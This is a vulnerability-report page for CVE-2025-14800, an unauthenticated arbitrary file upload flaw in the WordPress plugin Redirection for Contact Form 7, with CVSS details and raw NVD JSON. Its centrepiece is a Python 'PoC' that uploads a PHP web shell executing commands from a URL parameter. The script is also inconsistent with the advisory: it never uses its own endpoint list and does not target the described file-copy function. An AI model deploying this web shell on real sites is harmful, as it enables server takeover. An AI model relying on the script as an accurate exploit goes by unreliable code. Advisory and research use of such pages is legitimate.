Security Vulnerability Report
中文
CVE-2025-14800 CVSS 8.1 HIGH

CVE-2025-14800

Published: 2025-12-21 08:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Redirection for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'move_file_to_upload' function in all versions up to, and including, 3.2.7. This makes it possible for unauthenticated attackers to copy arbitrary files on the affected site's server. If 'allow_url_fopen' is set to 'On', it is possible to upload a remote file to the server.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Redirection for Contact Form 7 ≤ 3.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14800 PoC - WordPress Redirection for Contact Form 7 Arbitrary File Upload Note: This PoC is for educational and security research purposes only. """ import requests import sys def exploit_cve_2025_14800(target_url, file_to_upload='shell.php'): """ Exploit for arbitrary file upload vulnerability in Redirection for Contact Form 7 Args: target_url: Target WordPress site URL file_to_upload: Name of the file to upload """ # Malicious PHP file content (WebShell) php_payload = '<?php system($_GET["cmd"]); ?>' # Target endpoint - common paths for the plugin endpoints = [ '/wp-json/contact-form-7/v1/contact-forms/', '/wp-admin/admin-ajax.php', '/wp-content/plugins/wpcf7-redirect/include/files/' ] print(f"[*] Target: {target_url}") print(f"[*] File to upload: {file_to_upload}") # Prepare multipart form data files = { 'file': (file_to_upload, php_payload, 'application/x-php') } try: # Attempt file upload response = requests.post( target_url, files=files, timeout=10 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") # Check if upload was successful if response.status_code == 200: print(f"[!] Potential successful upload detected") print(f"[!] Try accessing: {target_url}/wp-content/uploads/{file_to_upload}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_14800(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14800", "sourceIdentifier": "[email protected]", "published": "2025-12-21T08:15:48.473", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Redirection for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'move_file_to_upload' function in all versions up to, and including, 3.2.7. This makes it possible for unauthenticated attackers to copy arbitrary files on the affected site's server. If 'allow_url_fopen' is set to 'On', it is possible to upload a remote file to the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpcf7-redirect/tags/3.2.7/classes/class-wpcf7r-save-files.php#L180", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3423970/wpcf7-redirect", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b249ec90-a364-4644-94fb-d42eb6cc4d9a?source=cve", "source": "[email protected]"}]}}